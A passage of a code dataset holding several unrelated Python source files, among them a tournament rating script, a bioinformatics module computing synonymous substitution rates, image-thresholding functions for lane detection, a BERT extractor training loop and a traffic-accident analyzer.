= sorted(agent_ratings, key = lambda val: val[0].sigma, reverse=True)\n\n # first we have to broadcast the agents to the workers\n comm.bcast(agents, root=0)\n\n # give every worker its initial assignment\n for i in range(num_workers):\n agentid0, agentid1 = np.random.choice(num_agents, 2, replace=False)\n comm.send((agentid0, agentid1), i + 1)\n\n games_played = 0\n while True:\n if pick_max_sigma:\n if agent_ratings_by_sigma[0][0].sigma < stopping_sigma:\n break\n elif games_played % (10 * num_agents) == 0:\n max_sigma = max([agent_ratings[i][0].sigma for i in range(num_agents)])\n if max_sigma < stopping_sigma:\n break\n\n # get the next message (can be from any worker)\n send_id, agentid0, agentid1, winner = comm.recv()\n\n if winner == 0:\n agent_ratings[agentid0][0], agent_ratings[agentid1][0] = rate_1vs1(agent_ratings[agentid0][0], agent_ratings[agentid1][0])\n elif winner == 1:\n agent_ratings[agentid1][0], agent_ratings[agentid0][0] = rate_1vs1(agent_ratings[agentid1][0], agent_ratings[agentid0][0])\n else: # draw\n agent_ratings[agentid1][0], agent_ratings[agentid0][0] = rate_1vs1(agent_ratings[agentid1][0], agent_ratings[agentid0][0], drawn=True)\n\n # send new work back to the same worker\n # don't play an agent against itself\n if pick_max_sigma:\n # a heap might be better, or a heap plus a sortedlist if we want to\n # pick the max sigma and then choose an opponent with a similar mu\n # using this implementation to experiment with how many fewer games\n # better selection requires.\n # Note that this sort is not likely to bad as bad as it first appears\n # as long as the number of agents remains < few hundred\n # The list will be almost sorted, so timsort will be close to one pass\n # The list should also stay in L2.\n agent_ratings_by_sigma.sort(key = lambda val: val[0].sigma, reverse=True)\n agentid0 = agent_ratings_by_sigma[0][1]\n agentid1 = agent_ratings_by_sigma[random.randint(1, num_agents-1)][1]\n else:\n agentid0, agentid1 = np.random.choice(num_agents, 2, replace=False)\n\n comm.send((agentid0, agentid1), send_id)\n\n games_played += 1\n\n # tell the workers to finish\n for i in range(num_workers):\n send_id, _, _, _ = comm.recv()\n\n comm.send(False, send_id)\n\n print('games played: ', games_played)\n for i in range(num_agents):\n print(agent_ratings[i])\n","sub_path":"tournament/master.py","file_name":"master.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"247930747","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n\"\"\"\nCalculation of synonymous substitutions (Ks).\n\"\"\"\n\nimport sys\nimport os\nimport os.path as op\nimport csv\nimport logging\n\nfrom math import log, sqrt, pi, exp\nfrom itertools import product, combinations\nfrom collections import namedtuple\nfrom optparse import OptionParser\nfrom subprocess import Popen\n\nimport numpy as np\nfrom Bio import SeqIO\nfrom Bio import AlignIO\nfrom Bio.Align.Applications import ClustalwCommandline\n\nfrom jcvi.formats.base import must_open\nfrom jcvi.apps.command import getpath, partial\nfrom jcvi.apps.base import ActionDispatcher, debug, mkdir, set_outfile, sh\ndebug()\n\n\nCLUSTALW_BIN = partial(getpath, name=\"CLUSTALW2\")\nPAL2NAL_BIN = partial(getpath, name=\"PAL2NAL\")\nPAML_BIN = partial(getpath, name=\"PAML\")\n\n\nclass AbstractCommandline:\n\n def run(self):\n r = Popen(str(self), shell=True)\n return r.communicate()\n\n\nclass YnCommandline(AbstractCommandline):\n \"\"\"Little commandline for yn00.\n \"\"\"\n def __init__(self, ctl_file, command=PAML_BIN(\"yn00\")):\n self.ctl_file = ctl_file\n self.parameters = []\n self.command = command\n\n def __str__(self):\n return self.command + \" %s >/dev/null\" % self.ctl_file\n\n\nclass MrTransCommandline(AbstractCommandline):\n \"\"\"Simple commandline faker.\n \"\"\"\n def __init__(self, prot_align_file, nuc_file, output_file,\n command=PAL2NAL_BIN(\"pal2nal.pl\")):\n self.prot_align_file = prot_align_file\n self.nuc_file = nuc_file\n self.output_file = output_file\n self.command = command\n\n self.parameters = []\n\n def __str__(self):\n return self.command + \" %s %s -output paml> %s\" % (self.prot_align_file, self.nuc_file, self.output_file)\n\n\ndef main():\n\n actions = (\n ('fromgroups', 'flatten the gene families into pairs'),\n ('prepare', 'prepare pairs of sequences'),\n ('calc', 'calculate Ks between pairs of sequences'),\n ('report', 'generate a distribution of Ks values'),\n ('gc3', 'filter the Ks results to remove high GC3 genes'),\n )\n p = ActionDispatcher(actions)\n p.dispatch(globals())\n\n\ndef get_GC3(cdsfile):\n from jcvi.formats.fasta import Fasta\n\n f = Fasta(cdsfile, lazy=True)\n GC3 = {}\n for name, rec in f.iteritems_ordered():\n positions = rec.seq[2::3].upper()\n gc_counts = sum(1 for x in positions if x in \"GC\")\n gc_ratio = gc_counts * 1. / len(positions)\n GC3[name] = gc_ratio\n\n return GC3\n\n\ndef gc3(args):\n \"\"\"\n %prog gc3 ksfile cdsfile > newksfile\n\n Filter the Ks results to remove high GC3 genes. High GC3 genes are\n problematic in Ks calculation - see Tang et al. 2010 PNAS. Specifically, the\n two calculation methods produce drastically different results for these\n pairs. Therefore we advise to remoeve these high GC3 genes. This is often\n the case for studying cereal genes.\n \"\"\"\n import csv\n\n p = OptionParser(gc3.__doc__)\n opts, args = p.parse_args(args)\n\n if len(args) != 2:\n sys.exit(not p.print_help())\n\n ks_file, cdsfile = args\n header, data = read_ks_file(ks_file)\n noriginals = len(data)\n GC3 = get_GC3(cdsfile)\n\n writer = csv.writer(sys.stdout)\n writer.writerow(header)\n nlines = 0\n cutoff = .75\n for d in data:\n a, b = d.pair.split(\";\")\n aratio, bratio = GC3[a], GC3[b]\n if (aratio + bratio) / 2 > cutoff:\n continue\n writer.writerow(d)\n nlines += 1\n logging.debug(\"{0} records written (from {1}).\".format(nlines, noriginals))\n\n\ndef extract_pairs(abed, bbed, groups):\n \"\"\"\n Called by fromgroups(), extract pairs specific to a pair of species.\n \"\"\"\n agenome = op.basename(abed.filename).split(\".\")[0]\n bgenome = op.basename(bbed.filename).split(\".\")[0]\n aorder = abed.order\n border = bbed.order\n pairsfile = \"{0}.{1}.pairs\".format(agenome, bgenome)\n fw = open(pairsfile, \"w\")\n\n is_self = abed.filename == bbed.filename\n npairs = 0\n for group in groups:\n iter = combinations(group, 2) if is_self \\\n else product(group, repeat=2)\n\n for a, b in iter:\n if a not in aorder or b not in border:\n continue\n\n print >> fw, \"\\t\".join((a, b))\n npairs += 1\n\n logging.debug(\"File `{0}` written with {1} pairs.\".format(pairsfile, npairs))\n\n\ndef fromgroups(args):\n \"\"\"\n %prog fromgroups groupsfile a.bed b.bed ...\n\n Flatten the gene familes into pairs, the groupsfile is a file with each line\n containing the members, separated by comma. The commands also require\n several bed files in order to sort the pairs into different piles (e.g.\n pairs of species in comparison.\n \"\"\"\n from jcvi.formats.bed import Bed\n\n p = OptionParser(fromgroups.__doc__)\n opts, args = p.parse_args(args)\n\n if len(args) < 2:\n sys.exit(not p.print_help())\n\n groupsfile = args[0]\n bedfiles = args[1:]\n beds = [Bed(x) for x in bedfiles]\n fp = open(groupsfile)\n groups = [row.strip().split(\",\") for row in fp]\n for b1, b2 in product(beds, repeat=2):\n extract_pairs(b1, b2, groups)\n\n\ndef prepare(args):\n \"\"\"\n %prog prepare pairsfile cdsfile > paired.cds.fasta\n\n Pick sequences from cdsfile to form pairs, ready to be calculated. The\n pairsfile can be generated from formats.blast.cscore(). The first two\n columns contain the pair.\n \"\"\"\n from jcvi.formats.fasta import Fasta, SeqIO\n\n p = OptionParser(prepare.__doc__)\n\n opts, args = p.parse_args(args)\n\n if len(args) != 2:\n sys.exit(not p.print_help())\n\n pairsfile, cdsfile = args\n\n f = Fasta(cdsfile)\n fp = open(pairsfile)\n fw = sys.stdout\n for row in fp:\n a, b = row.split()[:2]\n arec = f[a]\n brec = f[b]\n SeqIO.write((arec, brec), fw, \"fasta\")\n\n\ndef calc(args):\n \"\"\"\n %prog calc [prot.fasta] cds.fasta > out.ks\n\n Protein file is optional. If only one file is given, it is assumed to\n be CDS sequences with correct frame (frame 0). Results will be written to\n stdout. Both protein file and nucleotide file are assumed to be Fasta format,\n with adjacent records as the pairs to compare.\n\n Author: Haibao Tang , Brad Chapman\n Calculate synonymous mutation rates for gene pairs\n\n This does the following:\n 1. Fetches a protein pair.\n 2. Aligns the protein pair with clustalw\n 3. Convert the output to Fasta format.\n 4. Use this alignment info to align gene sequences using PAL2NAL\n 5. Run PAML yn00 to calculate synonymous mutation rates.\n \"\"\"\n p = OptionParser(calc.__doc__)\n set_outfile(p)\n\n opts, args = p.parse_args(args)\n\n if len(args) == 1:\n protein_file, dna_file = None, args[0]\n elif len(args) == 2:\n protein_file, dna_file = args\n else:\n print >>sys.stderr, \"Incorrect arguments\"\n sys.exit(not p.print_help())\n\n output_h = must_open(opts.outfile, \"w\")\n output_h.write(\"name,dS-yn,dN-yn,dS-ng,dN-ng\\n\")\n work_dir = op.join(os.getcwd(), \"syn_analysis\")\n mkdir(work_dir)\n\n if not protein_file:\n protein_file = translate_dna(dna_file)\n\n prot_iterator = SeqIO.parse(open(protein_file), \"fasta\")\n dna_iterator = SeqIO.parse(open(dna_file), \"fasta\")\n for p_rec_1, p_rec_2, n_rec_1, n_rec_2 in \\\n zip(prot_iterator, prot_iterator, dna_iterator, dna_iterator):\n\n print >>sys.stderr, \"--------\", p_rec_1.name, p_rec_2.name\n align_fasta = clustal_align_protein(p_rec_1, p_rec_2, work_dir)\n mrtrans_fasta = run_mrtrans(align_fasta, n_rec_1, n_rec_2, work_dir)\n if mrtrans_fasta:\n ds_subs_yn, dn_subs_yn, ds_subs_ng, dn_subs_ng = \\\n find_synonymous(mrtrans_fasta, work_dir)\n if ds_subs_yn is not None:\n pair_name = \"%s;%s\" % (p_rec_1.name, p_rec_2.name)\n output_h.write(\"%s\\n\" % (\",\".join(str(x) for x in (pair_name,\n ds_subs_yn, dn_subs_yn, ds_subs_ng, dn_subs_ng))))\n output_h.flush()\n\n # Clean-up\n sh(\"rm -rf 2YN.t 2YN.dN 2YN.dS rst rub rst1 syn_analysis\")\n\n\ndef translate_dna(dna_file):\n '''\n Translate the seqs in dna_file and produce a protein_file\n '''\n protein_file = dna_file + \".pep\"\n translated = []\n for rec in SeqIO.parse(open(dna_file), \"fasta\"):\n rec.seq = rec.seq.translate()\n translated.append(rec)\n\n protein_h = open(protein_file, \"w\")\n SeqIO.write(translated, protein_h, \"fasta\")\n\n print >>sys.stderr, \"%d records written to %s\" % (len(translated),\n protein_file)\n return protein_file\n\n\ndef find_synonymous(input_file, work_dir):\n \"\"\"Run yn00 to find the synonymous subsitution rate for the alignment.\n \"\"\"\n # create the .ctl file\n ctl_file = op.join(work_dir, \"yn-input.ctl\")\n output_file = op.join(work_dir, \"nuc-subs.yn\")\n ctl_h = open(ctl_file, \"w\")\n ctl_h.write(\"seqfile = %s\\noutfile = %s\\nverbose = 0\\n\" %\n (input_file, output_file))\n ctl_h.write(\"icode = 0\\nweighting = 0\\ncommonf3x4 = 0\\n\")\n ctl_h.close()\n\n cl = YnCommandline(ctl_file)\n print >>sys.stderr, \"\\tyn00:\", cl\n r, e = cl.run()\n ds_value_yn = None\n ds_value_ng = None\n dn_value_yn = None\n dn_value_ng = None\n\n # Nei-Gojobori\n output_h = open(output_file)\n row = output_h.readline()\n while row:\n if row.find(\"Nei & Gojobori\") >=0:\n for x in xrange(5):\n row = output_h.next()\n dn_value_ng, ds_value_ng = row.split('(')[1].split(')')[0].split()\n break\n row = output_h.readline()\n output_h.close()\n\n # Yang\n output_h = open(output_file)\n for line in output_h:\n if line.find(\"+-\") >= 0 and line.find(\"dS\") == -1:\n parts = line.split(\" +-\")\n ds_value_yn = extract_subs_value(parts[1])\n dn_value_yn = extract_subs_value(parts[0])\n\n if ds_value_yn is None or ds_value_ng is None:\n h = open(output_file)\n print >>sys.stderr, \"yn00 didn't work: \\n%s\" % h.read()\n\n return ds_value_yn, dn_value_yn, ds_value_ng, dn_value_ng\n\n\ndef extract_subs_value(text):\n \"\"\"Extract a subsitution value from a line of text.\n\n This is just a friendly function to grab a float value for Ks and Kn\n values from the junk I get from the last line of the yn00 file.\n\n Line:\n 2 1 52.7 193.3 2.0452 0.8979 0.0193 0.0573 +- 0.0177\n 2.9732 +- 3.2002\n\n Parts:\n [' 2 1 52.7 193.3 2.0452 0.8979 0.0193 0.0573',\n ' 0.0177 2.9732', ' 3.2002\\n']\n\n So we want 0.0573 for Kn and 2.9732 for Ks.\n \"\"\"\n parts = text.split()\n value = float(parts[-1])\n\n return value\n\n\ndef run_mrtrans(align_fasta, rec_1, rec_2, work_dir):\n \"\"\"Align two nucleotide sequences with mrtrans and the protein alignment.\n \"\"\"\n align_file = op.join(work_dir, \"prot-align.fasta\")\n nuc_file = op.join(work_dir, \"nuc.fasta\")\n output_file = op.join(work_dir, \"nuc-align.mrtrans\")\n\n # make the protein alignment file\n align_h = open(align_file, \"w\")\n align_h.write(str(align_fasta))\n align_h.close()\n # make the nucleotide file\n SeqIO.write((rec_1, rec_2), file(nuc_file, \"w\"), \"fasta\")\n\n # run the program\n cl = MrTransCommandline(align_file, nuc_file, output_file)\n r, e = cl.run()\n if e is None:\n print >>sys.stderr, \"\\tpal2nal:\", cl\n return output_file\n elif e.read().find(\"could not translate\") >= 0:\n print >>sys.stderr, \"***pal2nal could not translate\"\n return None\n\n\ndef clustal_align_protein(rec_1, rec_2, work_dir):\n \"\"\"Align the two given proteins with clustalw.\n \"\"\"\n fasta_file = op.join(work_dir, \"prot-start.fasta\")\n align_file = op.join(work_dir, \"prot.aln\")\n SeqIO.write((rec_1, rec_2), file(fasta_file, \"w\"), \"fasta\")\n\n clustal_cl = ClustalwCommandline(CLUSTALW_BIN(\"clustalw2\"),\n infile=fasta_file, outfile=align_file, outorder=\"INPUT\",\n type=\"PROTEIN\")\n stdout, stderr = clustal_cl()\n\n aln_file = file(clustal_cl.outfile)\n alignment = AlignIO.read(aln_file, \"clustal\")\n print >>sys.stderr, \"\\tDoing clustalw alignment: %s\" % clustal_cl\n return alignment.format(\"fasta\")\n\n\nfields = \"pair yn_ks yn_ka ng_ks ng_ka\"\ndescriptions = {\n 'pair': 'Gene pair',\n 'yn_ks': 'Yang-Nielson method of Ks estimate',\n 'yn_ka': 'Yang-Nielson method of Ka estimate',\n 'ng_ks': 'Nei-Gojobori method of Ks estimate',\n 'ng_ka': 'Nei-Gojobori method of Ka estimate'}\n\nKsLine = namedtuple(\"KsLine\", fields)\n\n\ndef read_ks_file(ks_file):\n reader = csv.reader(open(ks_file, \"rb\"))\n header = reader.next() # header\n data = []\n for row in reader:\n for i, a in enumerate(row):\n if i==0: continue\n row[i] = float(row[i])\n data.append(KsLine._make(row))\n\n logging.debug('File `{0}` contains a total of {1} gene pairs'.\\\n format(ks_file, len(data)))\n\n return header, data\n\n\ndef my_hist(ax, l, interval, max_r, color='g'):\n if not l:\n return\n\n from pylab import poly_between\n\n n, p = [], []\n total_len = len(l)\n for i in np.arange(0, max_r, interval):\n xmin, xmax = i - .5 * interval, i + .5 * interval\n nx = [x for x in l if xmin <= x < xmax]\n n.append(i)\n p.append(len(nx) * 100. / total_len)\n\n xs, ys = poly_between(n, 0, p)\n return ax.fill(xs, ys, fc=color, alpha=.3)\n\n\ndef lognormpdf(bins, mu, sigma):\n return np.exp(-(np.log(bins) - mu) ** 2 / (2 * sigma ** 2)) / \\\n (bins * sigma * sqrt(2 * pi))\n\n\ndef lognormpdf_mix(bins, probs, mus, sigmas, interval=.1):\n y = 0\n for prob, mu, sigma in zip(probs, mus, sigmas):\n y += prob * lognormpdf(bins, mu, sigma)\n y *= 100 * interval\n return y\n\n\ndef get_mixture(data, components):\n \"\"\"\n probs = [.476, .509]\n mus = [.69069, -.15038]\n variances = [.468982e-1, .959052e-1]\n \"\"\"\n from jcvi.apps.base import popen\n\n probs, mus, sigmas = [], [], []\n fw = must_open(\"tmp\", \"w\")\n log_data = [log(x) for x in data if x > .05]\n data = \"\\n\".join([\"%.4f\" % x for x in log_data]).replace(\"inf\\n\", \"\")\n fw.write(data)\n fw.close()\n\n cmd = \"gmm-bic {0} {1} {2}\".format(components, len(log_data), fw.name)\n pipe = popen(cmd)\n\n for row in pipe:\n if row[0] != '#':\n continue\n\n atoms = row.split(\",\")\n a, b, c = atoms[1:4]\n a = float(a)\n b = float(b)\n c = float(c)\n\n mus.append(a)\n sigmas.append(b)\n probs.append(c)\n\n os.remove(fw.name)\n return probs, mus, sigmas\n\n\ndef plot_ks_dist(ax, data, interval, components, ks_max, color='r'):\n from jcvi.graphics.base import _\n\n line, = my_hist(ax, data, interval, ks_max, color=color)\n logging.debug(\"Total {0} pairs after filtering.\".format(len(data)))\n\n probs, mus, variances = get_mixture(data, components)\n\n bins = np.arange(0.001, ks_max, .001)\n y = lognormpdf_mix(bins, probs, mus, variances, interval)\n\n line_mixture, = ax.plot(bins, y, ':', color=color, lw=3)\n for i in xrange(components):\n peak_val = exp(mus[i])\n mixline = lognormpdf_mix(peak_val, probs, mus, variances, interval)\n ax.text(peak_val, mixline, _(\"Ks=%.2f\" % peak_val), \\\n color=\"w\", size=10, bbox=dict(ec='w',fc=color, alpha=.6, boxstyle='round'))\n\n return line, line_mixture\n\n\ndef report(args):\n '''\n %prog report ksfile\n\n generate a report given a Ks result file (as produced by synonymous_calc.py).\n describe the median Ks, Ka values, as well as the distribution in stem-leaf plot\n '''\n from jcvi.graphics.histogram import stem_leaf_plot\n\n p = OptionParser(report.__doc__)\n p.add_option(\"--vmax\", default=2., type=\"float\",\n help=\"Maximum value, inclusive [default: %default]\")\n p.add_option(\"--bins\", default=20, type=\"int\",\n help=\"Number of bins to plot in the histogram [default: %default]\")\n p.add_option(\"--pdf\", default=False, action=\"store_true\",\n help=\"Generate graphic output for the histogram [default: %default]\")\n p.add_option(\"--components\", default=1, type=\"int\",\n help=\"Number of components to decompose peaks [default: %default]\")\n opts, args = p.parse_args(args)\n\n if len(args) != 1:\n sys.exit(not p.print_help())\n\n ks_file, = args\n header, data = read_ks_file(ks_file)\n ks_max = opts.vmax\n\n for f in fields.split()[1:]:\n columndata = [getattr(x, f) for x in data]\n title = \"{0}: {1:.2f}\".format(descriptions[f], np.median(columndata))\n title += \" ({0:.2f} +/- {1:.2f})\".\\\n format(np.mean(columndata), np.std(columndata))\n ks = (\"ks\" in f)\n if not ks:\n continue\n\n bins = (0, ks_max, opts.bins) if ks else (0, .6, 10)\n digit = 1 if ks else 2\n stem_leaf_plot(columndata, *bins, digit=digit, title=title)\n\n if not opts.pdf:\n return\n\n from jcvi.graphics.base import mpl, _, tex_formatter, tex_1digit_formatter\n from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\n\n fig = mpl.figure.Figure(figsize=(5, 5))\n\n canvas = FigureCanvas(fig)\n ax = fig.add_axes([.12, .1, .8, .8])\n components = opts.components\n data = [x.ng_ks for x in data]\n\n interval = ks_max / opts.bins\n line, line_mixture = plot_ks_dist(ax, data, interval, components, ks_max, color='r')\n leg = ax.legend((line, line_mixture), (\"Ks\", \"Ks (fitted)\"),\n shadow=True, fancybox=True, prop={\"size\": 10})\n leg.get_frame().set_alpha(.5)\n\n ax.set_xlim((0, ks_max))\n ax.set_title(_('Ks distribution'), fontweight=\"bold\")\n ax.set_xlabel(_('Synonymous substitutions per site (Ks)'))\n ax.set_ylabel(_('Percentage of gene pairs'))\n\n ax.xaxis.set_major_formatter(tex_1digit_formatter)\n ax.yaxis.set_major_formatter(tex_formatter)\n\n image_name = \"Ks_plot.pdf\"\n canvas.print_figure(image_name, dpi=300)\n logging.debug(\"Print image to `{0}`.\".format(image_name))\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"apps/ks.py","file_name":"ks.py","file_ext":"py","file_size_in_byte":18183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"235726194","text":"from .helper import rgb2gray, rgb2hls\nimport cv2\nimport numpy as np\n\nK_SIZE = 3\nABS_THRESH = (64, 128)\nMAG_K_SIZE = 3\nMAG_THRESH = (30, 100)\nDIR_K_SIZE = 15\nDIR_THRESH = (0.7, 1.3)\nSAT_THRESH = (90, 255)\nLIT_THRESH = (30, 255)\n\n\ndef thresholding(img, thresh, conversion):\n single_channel = conversion(img)\n binary_output = np.zeros_like(single_channel)\n binary_output[(single_channel >= thresh[0]) & (single_channel <= thresh[1])] = 1\n return binary_output\n\n\ndef absolute_sobel_thresholding(img, orient='x', sobel_kernel=3, abs_thresh=(0, 255)):\n def sobel(image):\n gray = rgb2gray(image)\n x = 1 if orient == 'x' else 0\n return np.abs(cv2.Sobel(gray, cv2.CV_64F, x, 1 - x, ksize=sobel_kernel))\n\n return thresholding(img, abs_thresh, sobel)\n\n\ndef magnitude_thresholding(img, sobel_kernel=3, mag_thresh=(0, 255)):\n def absolute_sobel(image):\n gray = rgb2gray(image)\n sobel_x = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobel_y = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n abs_sobel_xy = np.abs(np.sqrt(np.square(sobel_x) + np.square(sobel_y)))\n return np.uint8(255 * abs_sobel_xy / np.max(abs_sobel_xy))\n\n return thresholding(img, mag_thresh, absolute_sobel)\n\n\ndef direction_thresholding(img, sobel_kernel=3, dir_thresh=(0, np.pi / 2)):\n def grad_dir(image):\n gray = rgb2gray(image)\n sobel_x = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobel_y = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n abs_sobel_x = np.abs(sobel_x)\n abs_sobel_y = np.abs(sobel_y)\n return np.arctan2(abs_sobel_y, abs_sobel_x)\n\n return thresholding(img, dir_thresh, grad_dir)\n\n\ndef saturation_thresholding(img, sat_thresh=(0, 255)):\n def saturation_selection(image):\n hls_img = rgb2hls(image)\n return hls_img[:, :, 2]\n\n return thresholding(img, sat_thresh, saturation_selection)\n\n\ndef lightness_thresholding(img, lit_thresh=(0, 255)):\n def lightness_selection(image):\n hls_img = rgb2hls(image)\n return hls_img[:, :, 1]\n\n return thresholding(img, lit_thresh, lightness_selection)\n\n\ndef combined_thresholding(img):\n gradx = absolute_sobel_thresholding(img, orient='x', sobel_kernel=K_SIZE, abs_thresh=ABS_THRESH)\n grady = absolute_sobel_thresholding(img, orient='y', sobel_kernel=K_SIZE, abs_thresh=ABS_THRESH)\n mag_binary = magnitude_thresholding(img, sobel_kernel=MAG_K_SIZE, mag_thresh=MAG_THRESH)\n dir_binary = direction_thresholding(img, sobel_kernel=DIR_K_SIZE, dir_thresh=DIR_THRESH)\n sat_binary = saturation_thresholding(img, SAT_THRESH)\n lit_binary = lightness_thresholding(img, LIT_THRESH)\n combined = np.zeros((img.shape[0], img.shape[1]))\n # combined[((gradx == 1) & (grady == 1)) | ((mag_binary == 1) & (dir_binary == 1) & (sat_binary == 1))] = 1\n combined[((gradx == 1) & (grady == 1)) | ((mag_binary == 1) & (dir_binary == 1)) | (\n (sat_binary == 1) & (lit_binary == 1))] = 1\n # combined[((gradx == 1) & (grady == 1) & (lit_binary == 1)) | ((mag_binary == 1) & (dir_binary == 1)) | ((\n # sat_binary == 1) & (lit_binary == 1))] = 1\n return combined\n","sub_path":"functions/threshold.py","file_name":"threshold.py","file_ext":"py","file_size_in_byte":3204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422818760","text":"from bert.utils import obtain_sentence_embeddings\n\nimport pickle\nimport numpy as np\nimport torch\n\nbce_loss = torch.nn.BCELoss(reduction='none')\n\n\ndef train_extractor(\n model, data, learning_rate=1e-3, n_iters=10000, model_output_file=\"results/models/extractor.pt\", save_freq=2\n):\n \"\"\"\n :param model:\n :param data: list of dictionaries of form:\n [\n {'summary': [...], 'document': [...], 'extraction_labels': [...]},\n {...},\n ..\n ]\n :param learning_rate:\n :param n_iters:\n :param model_output_file:\n :param save_freq:\n :return:\n \"\"\"\n optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n losses = list()\n\n for i in range(n_iters):\n documents, extraction_labels = get_training_batch(data, batch_size=5)\n\n sentence_embeddings, mask = obtain_sentence_embeddings(model.bert_model, model.bert_tokenizer, documents)\n\n # Predict probability of extraction per sentence\n extraction_probabilities = model(sentence_embeddings)\n\n # Calculate loss\n loss = bce_loss(input=extraction_probabilities, target=extraction_labels)\n loss = loss * mask\n loss = loss.sum()\n losses.append(loss)\n print(f\"Loss: {loss}\")\n\n # Calculate gradient and update\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n if i % save_freq == 0:\n torch.save(model.state_dict(), model_output_file)\n pickle.dump(losses, open(\"results/models/extractor_losses.pkl\", \"wb\"))\n\n return\n\n\ndef get_training_batch(training_dictionaries, batch_size):\n \"\"\"\n :param training_dictionaries:\n :param batch_size:\n :return:\n \"\"\"\n mini_batch = training_dictionaries[:2] # np.random.choice(training_dictionaries, batch_size).tolist()\n\n documents, extraction_labels = map(list, zip(*[(s['document'], s['extraction_label']) for s in mini_batch]))\n extraction_labels = torch.nn.utils.rnn.pad_sequence(\n sequences=extraction_labels,\n batch_first=True,\n padding_value=0.0\n )\n\n return documents, extraction_labels\n","sub_path":"extractor/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291950111","text":"import cmdtools\n\ndef e_attrtest(error):\n\t# attributes also get passed to error callback\n\tprint(\"in error callback:\", e_attrtest.name)\n\ndef attrtest():\n\tprint(attrtest.name)\n\t# 1 / 0 # uncomment expression to invoke error callback\n\ncmd = cmdtools.Cmd(\"/invoke\")\ncmd.process_cmd(attrtest, e_attrtest,\n\t# assign attributes\n\tattrs={\n\t\t\"name\": \"Joe\"\n\t}\n)","sub_path":"examples/05callback_attributes/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"390625680","text":"\"\"\"\n * Copyright 2020, Departamento de sistemas y Computación\n * Universidad de Los Andes\n *\n *\n * Desarrolado para el curso ISIS1225 - Estructuras de Datos y Algoritmos\n *\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n \"\"\"\nimport config\nfrom DISClib.ADT import list as lt\nfrom DISClib.ADT import orderedmap as om\nfrom DISClib.DataStructures import mapentry as me\nfrom DISClib.ADT import map as m\nimport datetime\nassert config\nfrom DISClib.DataStructures import listiterator as it\nimport math as ma \nimport obspy.geodetics as og\nfrom obspy.geodetics import kilometers2degrees\n\n\"\"\"\nEn este archivo definimos los TADs que vamos a usar,\nes decir contiene los modelos con los datos en memoria\n\n\n\"\"\"\n\n# -----------------------------------------------------\n# API del TAD Catalogo de Libros\n# -----------------------------------------------------\n\ndef newAnalyzer():\n \"\"\" Inicializa el analizador\n\n Crea una lista vacia para guardar todos los crimenes\n Se crean indices (Maps) por los siguientes criterios:\n -Fechas\n\n Retorna el analizador inicializado.\n \"\"\"\n analyzer = {'accidents': None,\n 'dateIndex': None,\n 'timeIndex': None}\n\n analyzer['accidents'] = lt.newList('SINGLE_LINKED', compareIds)\n analyzer['dateIndex'] = om.newMap(omaptype = 'RBT',\n comparefunction = compareDates)\n analyzer['timeIndex'] = om.newMap(omaptype = 'RBT',\n comparefunction = compareTime)\n return analyzer\n\n# Funciones para agregar informacion al catalogo\n\ndef addAccident(analyzer, accident):\n lt.addLast(analyzer['accidents'], accident)\n updateDateIndex(analyzer['dateIndex'], analyzer['timeIndex'],accident)\n #updateTimeIndex(analyzer['timeIndex'], accident)\n return analyzer\n\ndef updateDateIndex(map, maptime, accident):\n \"\"\"\n Se toma la fecha del crimen y se busca si ya existe en el arbol\n dicha fecha. Si es asi, se adiciona a su lista de crimenes\n y se actualiza el indice de tipos de crimenes.\n\n Si no se encuentra creado un nodo para esa fecha en el arbol\n se crea y se actualiza el indice de tipos de crimenes\n \"\"\"\n occurreddate = accident['Start_Time']\n accidentdate = datetime.datetime.strptime(occurreddate, '%Y-%m-%d %H:%M:%S')\n accidenttime1 = datetime.datetime.strptime(occurreddate, '%Y-%m-%d %H:%M:%S') # print(\"Created at %s:%s\" % (t1.hour, t1.minute))\n accidenttime = (accidenttime1.hour,accidenttime1.minute)\n entrydate = om.get(map, accidentdate.date())\n entrytime = om.get(maptime, accidenttime)\n if entrydate is None and entrytime is None:\n datentry = newDataEntry(accident)\n om.put(map, accidentdate.date(), datentry)\n om.put(maptime, accidenttime, datentry)\n elif entrytime is None:\n datentry = me.getValue(entrydate)\n om.put(maptime, accidenttime, datentry)\n elif entrydate is None:\n datentry = newDataEntry(accident)\n om.put(map, accidentdate.date(), datentry)\n else:\n datentry = me.getValue(entrydate)\n addDateIndex(datentry, accident)\n return map\n\ndef addDateIndex(datentry, accident):\n \"\"\"\n Actualiza un indice de tipo de crimenes. Este indice tiene una lista\n de crimenes y una tabla de hash cuya llave es el tipo de crimen y\n el valor es una lista con los crimenes de dicho tipo en la fecha que\n se está consultando (dada por el nodo del arbol)\n \"\"\"\n lst = datentry['lstaccident']\n lt.addLast(lst, accident)\n offenseIndex = datentry['offenseIndex']\n offentry = m.get(offenseIndex, accident['Description'])\n offenseIndexTime = datentry['offenseIndexTime']\n offentryTime = m.get(offenseIndexTime, accident['Description'])\n if (offentry is None and offentryTime is None):\n entry = 